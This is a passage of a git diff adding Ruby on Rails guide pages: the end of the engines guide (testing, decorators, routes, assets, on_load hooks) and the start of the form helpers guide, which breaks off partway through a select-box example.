+### Functional Tests
+
+A matter worth taking into consideration when writing functional tests is that
+the tests are going to be running on an application - the `test/dummy`
+application - rather than your engine. This is due to the setup of the testing
+environment; an engine needs an application as a host for testing its main
+functionality, especially controllers. This means that if you were to make a
+typical `GET` to a controller in a controller's functional test like this:
+
+```ruby
+module Blorgh
+  class FooControllerTest < ActionDispatch::IntegrationTest
+    include Engine.routes.url_helpers
+
+    def test_index
+      get foos_url
+      ...
+    end
+  end
+end
+```
+
+It may not function correctly. This is because the application doesn't know how
+to route these requests to the engine unless you explicitly tell it **how**. To
+do this, you must set the `@routes` instance variable to the engine's route set
+in your setup code:
+
+```ruby
+module Blorgh
+  class FooControllerTest < ActionDispatch::IntegrationTest
+    include Engine.routes.url_helpers
+
+    setup do
+      @routes = Engine.routes
+    end
+
+    def test_index
+      get foos_url
+      ...
+    end
+  end
+end
+```
+
+This tells the application that you still want to perform a `GET` request to the
+`index` action of this controller, but you want to use the engine's route to get
+there, rather than the application's one.
+
+This also ensures that the engine's URL helpers will work as expected in your
+tests.
+
+Improving engine functionality
+------------------------------
+
+This section explains how to add and/or override engine MVC functionality in the
+main Rails application.
+
+### Overriding Models and Controllers
+
+Engine model and controller classes can be extended by open classing them in the
+main Rails application (since model and controller classes are just Ruby classes
+that inherit Rails specific functionality). Open classing an Engine class
+redefines it for use in the main application. This is usually implemented by
+using the decorator pattern.
+
+For simple class modifications, use `Class#class_eval`. For complex class
+modifications, consider using `ActiveSupport::Concern`.
+
+#### A note on Decorators and Loading Code
+
+Because these decorators are not referenced by your Rails application itself,
+Rails' autoloading system will not kick in and load your decorators. This means
+that you need to require them yourself.
+
+Here is some sample code to do this:
+
+```ruby
+# lib/blorgh/engine.rb
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+
+    config.to_prepare do
+      Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c|
+        require_dependency(c)
+      end
+    end
+  end
+end
+```
+
+This doesn't apply to just Decorators, but anything that you add in an engine
+that isn't referenced by your main application.
+
+#### Implementing Decorator Pattern Using Class#class_eval
+
+**Adding** `Article#time_since_created`:
+
+```ruby
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
+
+Blorgh::Article.class_eval do
+  def time_since_created
+    Time.current - created_at
+  end
+end
+```
+
+```ruby
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  has_many :comments
+end
+```
+
+
+**Overriding** `Article#summary`:
+
+```ruby
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
+
+Blorgh::Article.class_eval do
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+```
+
+```ruby
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  has_many :comments
+  def summary
+    "#{title}"
+  end
+end
+```
+
+#### Implementing Decorator Pattern Using ActiveSupport::Concern
+
+Using `Class#class_eval` is great for simple adjustments, but for more complex
+class modifications, you might want to consider using [`ActiveSupport::Concern`]
+(http://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
+ActiveSupport::Concern manages load order of interlinked dependent modules and
+classes at run time allowing you to significantly modularize your code.
+
+**Adding** `Article#time_since_created` and **Overriding** `Article#summary`:
+
+```ruby
+# MyApp/app/models/blorgh/article.rb
+
+class Blorgh::Article < ApplicationRecord
+  include Blorgh::Concerns::Models::Article
+
+  def time_since_created
+    Time.current - created_at
+  end
+
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+```
+
+```ruby
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  include Blorgh::Concerns::Models::Article
+end
+```
+
+```ruby
+# Blorgh/lib/concerns/models/article.rb
+
+module Blorgh::Concerns::Models::Article
+  extend ActiveSupport::Concern
+
+  # 'included do' causes the included code to be evaluated in the
+  # context where it is included (article.rb), rather than being
+  # executed in the module's context (blorgh/concerns/models/article).
+  included do
+    attr_accessor :author_name
+    belongs_to :author, class_name: "User"
+
+    before_validation :set_author
+
+    private
+      def set_author
+        self.author = User.find_or_create_by(name: author_name)
+      end
+  end
+
+  def summary
+    "#{title}"
+  end
+
+  module ClassMethods
+    def some_class_method
+      'some class method string'
+    end
+  end
+end
+```
+
+### Overriding Views
+
+When Rails looks for a view to render, it will first look in the `app/views`
+directory of the application. If it cannot find the view there, it will check in
+the `app/views` directories of all engines that have this directory.
+
+When the application is asked to render the view for `Blorgh::ArticlesController`'s
+index action, it will first look for the path
+`app/views/blorgh/articles/index.html.erb` within the application. If it cannot
+find it, it will look inside the engine.
+
+You can override this view in the application by simply creating a new file at
+`app/views/blorgh/articles/index.html.erb`. Then you can completely change what
+this view would normally output.
+
+Try this now by creating a new file at `app/views/blorgh/articles/index.html.erb`
+and put this content in it:
+
+```html+erb
+<h1>Articles</h1>
+<%= link_to "New Article", new_article_path %>
+<% @articles.each do |article| %>
+  <h2><%= article.title %></h2>
+  <small>By <%= article.author %></small>
+  <%= simple_format(article.text) %>
+  <hr>
+<% end %>
+```
+
+### Routes
+
+Routes inside an engine are isolated from the application by default. This is
+done by the `isolate_namespace` call inside the `Engine` class. This essentially
+means that the application and its engines can have identically named routes and
+they will not clash.
+
+Routes inside an engine are drawn on the `Engine` class within
+`config/routes.rb`, like this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+  resources :articles
+end
+```
+
+By having isolated routes such as this, if you wish to link to an area of an
+engine from within an application, you will need to use the engine's routing
+proxy method. Calls to normal routing methods such as `articles_path` may end up
+going to undesired locations if both the application and the engine have such a
+helper defined.
+
+For instance, the following example would go to the application's `articles_path`
+if that template was rendered from the application, or the engine's `articles_path`
+if it was rendered from the engine:
+
+```erb
+<%= link_to "Blog articles", articles_path %>
+```
+
+To make this route always use the engine's `articles_path` routing helper method,
+we must call the method on the routing proxy method that shares the same name as
+the engine.
+
+```erb
+<%= link_to "Blog articles", blorgh.articles_path %>
+```
+
+If you wish to reference the application inside the engine in a similar way, use
+the `main_app` helper:
+
+```erb
+<%= link_to "Home", main_app.root_path %>
+```
+
+If you were to use this inside an engine, it would **always** go to the
+application's root. If you were to leave off the `main_app` "routing proxy"
+method call, it could potentially go to the engine's or application's root,
+depending on where it was called from.
+
+If a template rendered from within an engine attempts to use one of the
+application's routing helper methods, it may result in an undefined method call.
+If you encounter such an issue, ensure that you're not attempting to call the
+application's routing methods without the `main_app` prefix from within the
+engine.
+
+### Assets
+
+Assets within an engine work in an identical way to a full application. Because
+the engine class inherits from `Rails::Engine`, the application will know to
+look up assets in the engine's 'app/assets' and 'lib/assets' directories.
+
+Like all of the other components of an engine, the assets should be namespaced.
+This means that if you have an asset called `style.css`, it should be placed at
+`app/assets/stylesheets/[engine name]/style.css`, rather than
+`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a
+possibility that the host application could have an asset named identically, in
+which case the application's asset would take precedence and the engine's one
+would be ignored.
+
+Imagine that you did have an asset located at
+`app/assets/stylesheets/blorgh/style.css` To include this asset inside an
+application, just use `stylesheet_link_tag` and reference the asset as if it
+were inside the engine:
+
+```erb
+<%= stylesheet_link_tag "blorgh/style.css" %>
+```
+
+You can also specify these assets as dependencies of other assets using Asset
+Pipeline require statements in processed files:
+
+```
+/*
+ *= require blorgh/style
+*/
+```
+
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you
+should add the relevant library to your engine's `.gemspec`.
+
+### Separate Assets & Precompiling
+
+There are some situations where your engine's assets are not required by the
+host application. For example, say that you've created an admin functionality
+that only exists for your engine. In this case, the host application doesn't
+need to require `admin.css` or `admin.js`. Only the gem's admin layout needs
+these assets. It doesn't make sense for the host app to include
+`"blorgh/admin.css"` in its stylesheets. In this situation, you should
+explicitly define these assets for precompilation.  This tells sprockets to add
+your engine assets when `bin/rails assets:precompile` is triggered.
+
+You can define assets for precompilation in `engine.rb`:
+
+```ruby
+initializer "blorgh.assets.precompile" do |app|
+  app.config.assets.precompile += %w( admin.js admin.css )
+end
+```
+
+For more information, read the [Asset Pipeline guide](asset_pipeline.html).
+
+### Other Gem Dependencies
+
+Gem dependencies inside an engine should be specified inside the `.gemspec` file
+at the root of the engine. The reason is that the engine may be installed as a
+gem. If dependencies were to be specified inside the `Gemfile`, these would not
+be recognized by a traditional gem install and so they would not be installed,
+causing the engine to malfunction.
+
+To specify a dependency that should be installed with the engine during a
+traditional `gem install`, specify it inside the `Gem::Specification` block
+inside the `.gemspec` file in the engine:
+
+```ruby
+s.add_dependency "moo"
+```
+
+To specify a dependency that should only be installed as a development
+dependency of the application, specify it like this:
+
+```ruby
+s.add_development_dependency "moo"
+```
+
+Both kinds of dependencies will be installed when `bundle install` is run inside
+of the application. The development dependencies for the gem will only be used
+when the tests for the engine are running.
+
+Note that if you want to immediately require dependencies when the engine is
+required, you should require them before the engine's initialization. For
+example:
+
+```ruby
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+  class Engine < ::Rails::Engine
+  end
+end
+```
+
+Active Support On Load Hooks
+----------------------------
+
+Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal utilities.
+
+Rails code can often be referenced on load of an application. Rails is responsible for the load order of these frameworks, so when you load frameworks, such as `ActiveRecord::Base`, prematurely you are violating an implicit contract your application has with Rails. Moreover, by loading code such as `ActiveRecord::Base` on boot of your application you are loading entire frameworks which may slow down your boot time and could cause conflicts with load order and boot of your application.
+
+On Load hooks are the API that allow you to hook into this initialization process without violating the load contract with Rails. This will also mitigate boot performance degradation and avoid conflicts.
+
+## What are `on_load` hooks?
+
+Since Ruby is a dynamic language, some code will cause different Rails frameworks to load. Take this snippet for instance:
+
+```ruby
+ActiveRecord::Base.include(MyActiveRecordHelper)
+```
+
+This snippet means that when this file is loaded, it will encounter `ActiveRecord::Base`. This encounter causes Ruby to look for the definition of that constant and will require it. This causes the entire Active Record framework to be loaded on boot.
+
+`ActiveSupport.on_load` is a mechanism that can be used to defer the loading of code until it is actually needed. The snippet above can be changed to:
+
+```ruby
+ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper }
+```
+
+This new snippet will only include `MyActiveRecordHelper` when `ActiveRecord::Base` is loaded.
+
+## How does it work?
+
+In the Rails framework these hooks are called when a specific library is loaded. For example, when `ActionController::Base` is loaded, the `:action_controller_base` hook is called. This means that all `ActiveSupport.on_load` calls with `:action_controller_base` hooks will be called in the context of `ActionController::Base` (that means `self` will be an `ActionController::Base`).
+
+## Modifying code to use `on_load` hooks
+
+Modifying code is generally straightforward. If you have a line of code that refers to a Rails framework such as `ActiveRecord::Base` you can wrap that code in an `on_load` hook.
+
+### Example 1
+
+```ruby
+ActiveRecord::Base.include(MyActiveRecordHelper)
+```
+
+becomes
+
+```ruby
+ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } # self refers to ActiveRecord::Base here, so we can simply #include
+```
+
+### Example 2
+
+```ruby
+ActionController::Base.prepend(MyActionControllerHelper)
+```
+
+becomes
+
+```ruby
+ActiveSupport.on_load(:action_controller_base) { prepend MyActionControllerHelper } # self refers to ActionController::Base here, so we can simply #prepend
+```
+
+### Example 3
+
+```ruby
+ActiveRecord::Base.include_root_in_json = true
+```
+
+becomes
+
+```ruby
+ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # self refers to ActiveRecord::Base here
+```
+
+## Available Hooks
+
+These are the hooks you can use in your own code.
+
+To hook into the initialization process of one of the following classes use the available hook.
+
+| Class                             | Available Hooks                      |
+| --------------------------------- | ------------------------------------ |
+| `ActionCable`                     | `action_cable`                       |
+| `ActionController::API`           | `action_controller_api`              |
+| `ActionController::API`           | `action_controller`                  |
+| `ActionController::Base`          | `action_controller_base`             |
+| `ActionController::Base`          | `action_controller`                  |
+| `ActionController::TestCase`      | `action_controller_test_case`        |
+| `ActionDispatch::IntegrationTest` | `action_dispatch_integration_test`   |
+| `ActionMailer::Base`              | `action_mailer`                      |
+| `ActionMailer::TestCase`          | `action_mailer_test_case`            |
+| `ActionView::Base`                | `action_view`                        |
+| `ActionView::TestCase`            | `action_view_test_case`              |
+| `ActiveJob::Base`                 | `active_job`                         |
+| `ActiveJob::TestCase`             | `active_job_test_case`               |
+| `ActiveRecord::Base`              | `active_record`                      |
+| `ActiveSupport::TestCase`         | `active_support_test_case`           |
+| `i18n`                            | `i18n`                               |
+
+## Configuration hooks
+
+These are the available configuration hooks. They do not hook into any particular framework, instead they run in context of the entire application.
+
+| Hook                   | Use Case                                                                              |
+| ---------------------- | ------------------------------------------------------------------------------------- |
+| `before_configuration` | First configurable block to run. Called before any initializers are run.              |
+| `before_initialize`    | Second configurable block to run. Called before frameworks initialize.                |
+| `before_eager_load`    | Third configurable block to run. Does not run if `config.cache_classes` set to false. |
+| `after_initialize`     | Last configurable block to run. Called after frameworks initialize.                   |
+
+### Example
+
+`config.before_configuration { puts 'I am called before any initializers' }`
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
new file mode 100644
index 0000000000..f46f1648b3
--- /dev/null
+++ b/guides/source/form_helpers.md
@@ -0,0 +1,1023 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Form Helpers
+============
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use.
+
+After reading this guide, you will know:
+
+* How to create search forms and similar kind of generic forms not representing any specific model in your application.
+* How to make model-centric forms for creating and editing specific database records.
+* How to generate select boxes from multiple types of data.
+* What date and time helpers Rails provides.
+* What makes a file upload form different.
+* How to post forms to external resources and specify setting an `authenticity_token`.
+* How to build complex forms.
+
+--------------------------------------------------------------------------------
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
+
+Dealing with Basic Forms
+------------------------
+
+The most basic form helper is `form_tag`.
+
+```erb
+<%= form_tag do %>
+  Form contents
+<% end %>
+```
+
+When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
+
+```html
+<form accept-charset="UTF-8" action="/" method="post">
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
+  Form contents
+</form>
+```
+
+You'll notice that the HTML contains an `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element with the name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their action is "GET" or "POST".
+
+The second input element with the name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf).
+
+### A Generic Search Form
+
+One of the most basic forms you see on the web is a search form. This form contains:
+
+* a form element with "GET" method,
+* a label for the input,
+* a text input element, and
+* a submit element.
+
+To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
+
+```erb
+<%= form_tag("/search", method: "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/search" method="get">
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+```
+
+TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
+
+IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+
+### Multiple Hashes in Form Helper Calls
+
+The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+
+As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
+
+```ruby
+form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
+```
+
+Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
+
+```ruby
+form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
+```
+
+### Helpers for Generating Form Elements
+
+Rails provides a series of helpers for generating form elements such as
+checkboxes, text fields, and radio buttons. These basic helpers, with names
+ending in `_tag` (such as `text_field_tag` and `check_box_tag`), generate just a
+single `<input>` element. The first parameter to these is always the name of the
+input. When the form is submitted, the name will be passed along with the form
+data, and will make its way to the `params` in the controller with the
+value entered by the user for that field. For example, if the form contains
+`<%= text_field_tag(:query) %>`, then you would be able to get the value of this
+field in the controller with `params[:query]`.
+
+When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
+
+#### Checkboxes
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+```erb
+<%= check_box_tag(:pet_dog) %>
+<%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+<%= label_tag(:pet_cat, "I own a cat") %>
+```
+
+This generates the following:
+
+```html
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+<label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+<label for="pet_cat">I own a cat</label>
+```
+
+The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked.
+
+#### Radio Buttons
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
+
+```erb
+<%= radio_button_tag(:age, "child") %>
+<%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+<%= label_tag(:age_adult, "I'm over 21") %>
+```
+
+Output:
+
+```html
+<input id="age_child" name="age" type="radio" value="child" />
+<label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+<label for="age_adult">I'm over 21</label>
+```
+
+As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either `"child"` or `"adult"`.
+
+NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and,
+by expanding the clickable region,
+make it easier for users to click the inputs.
+
+### Other Helpers of Interest
+
+Other form controls worth mentioning are textareas, password fields,
+hidden fields, search fields, telephone fields, date fields, time fields,
+color fields, datetime-local fields, month fields, week fields,
+URL fields, email fields, number fields and range fields:
+
+```erb
+<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+<%= search_field(:user, :name) %>
+<%= telephone_field(:user, :phone) %>
+<%= date_field(:user, :born_on) %>
+<%= datetime_local_field(:user, :graduation_day) %>
+<%= month_field(:user, :birthday_month) %>
+<%= week_field(:user, :birthday_week) %>
+<%= url_field(:user, :homepage) %>
+<%= email_field(:user, :address) %>
+<%= color_field(:user, :favorite_color) %>
+<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
+```
+
+Output:
+
+```html
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+<input id="user_name" name="user[name]" type="search" />
+<input id="user_phone" name="user[phone]" type="tel" />
+<input id="user_born_on" name="user[born_on]" type="date" />
+<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
+<input id="user_birthday_month" name="user[birthday_month]" type="month" />
+<input id="user_birthday_week" name="user[birthday_week]" type="week" />
+<input id="user_homepage" name="user[homepage]" type="url" />
+<input id="user_address" name="user[address]" type="email" />
+<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
+<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
+```
+
+Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
+
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
+month, week, URL, email, number and range inputs are HTML5 controls.
+If you require your app to have a consistent experience in older browsers,
+you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
+There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a popular tool at the moment is
+[Modernizr](https://modernizr.com/), which provides a simple way to add functionality based on the presence of
+detected HTML5 features.
+
+TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
+
+Dealing with Model Objects
+--------------------------
+
+### Model Object Helpers
+
+A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the `_tag` suffix, for example `text_field`, `text_area`.
+
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
+
+```erb
+<%= text_field(:person, :name) %>
+```
+
+will produce output similar to
+
+```erb
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```
+
+Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
+
+WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
+
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](active_record_validations.html#displaying-validation-errors-in-views) guide.
+
+### Binding a Form to an Object
+
+While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
+
+Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
+
+```ruby
+def new
+  @article = Article.new
+end
+```
+
+The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:
+
+```erb
+<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, size: "60x12" %>
+  <%= f.submit "Create" %>
+<% end %>
+```
+
+There are a few things to note here:
+
+* `@article` is the actual object being edited.
+* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+* The `form_for` method yields a **form builder** object (the `f` variable).
+* Methods to create form controls are called **on** the form builder object `f`.
+
+The resulting HTML is:
+
+```html
+<form accept-charset="UTF-8" action="/articles" method="post" class="nifty_form">
+  <input id="article_title" name="article[title]" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+```
+
+The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the [parameter_names section](#understanding-parameter-naming-conventions).
+
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+
+You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a form for creating both like so:
+
+```erb
+<%= form_for @person, url: {action: "create"} do |person_form| %>
+  <%= person_form.text_field :name %>
+  <%= fields_for @person.contact_detail do |contact_detail_form| %>
+    <%= contact_detail_form.text_field :phone_number %>
+  <% end %>
+<% end %>
+```
+
+which produces the following output:
+
+```html
+<form accept-charset="UTF-8" action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+</form>
+```
+
+The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally).
+
+### Relying on Record Identification
+
+The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**:
+
+```ruby
+resources :articles
+```
+
+TIP: Declaring a resource has a number of side effects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources.
+
+When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+
+```ruby
+## Creating a new article
+# long-style:
+form_for(@article, url: articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(@article, url: article_path(@article), html: {method: "patch"})
+# short-style:
+form_for(@article)
+```
+
+Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
+
+Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly.
+
+#### Dealing with Namespaces
+
+If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
+
+```ruby
+form_for [:admin, @article]
+```
+
+will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+```ruby
+form_for [:admin, :management, @article]
+```
+
+For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
+
+### How do forms with PATCH, PUT, or DELETE methods work?
+
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+
+Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method:
+
+```ruby
+form_tag(search_path, method: "patch")
+```
+
+output:
+
+```html
+<form accept-charset="UTF-8" action="/search" method="post">
+  <input name="_method" type="hidden" value="patch" />
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  ...
+</form>
+```
+
+When parsing POSTed data, Rails will take into account the special `_method` parameter and act as if the HTTP method was the one specified inside it ("PATCH" in this example).
+
+Making Select Boxes with Ease
+-----------------------------
+
+Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+
+Here is what the markup might look like:
+
+```html
+<select name="city_id" id="city_id">
+  <option value="1">Lisbon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+```
+
+Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+
+### The Select and Option Tags
+
+The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string:
+
+```erb
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+```
+
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper:
+
+```html+erb
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+```
+
+The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+
+Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
+
+```erb
+<%= select_tag(:city_id, options_for_select(...)) %>
+```
+
+`options_for_select` allows you to pre-select an option by passing its value.
+
+```html+erb
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+```
+
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
+
+WARNING: When `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
+
+You can add arbitrary attributes to the options using hashes:
+
+```html+erb
+<%= options_for_select(
+  [
+    ['Lisbon', 1, { 'data-size' => '2.8 million' }],
+    ['Madrid', 2, { 'data-size' => '3.2 million' }]
+  ], 2
+) %>
+
+output:
+
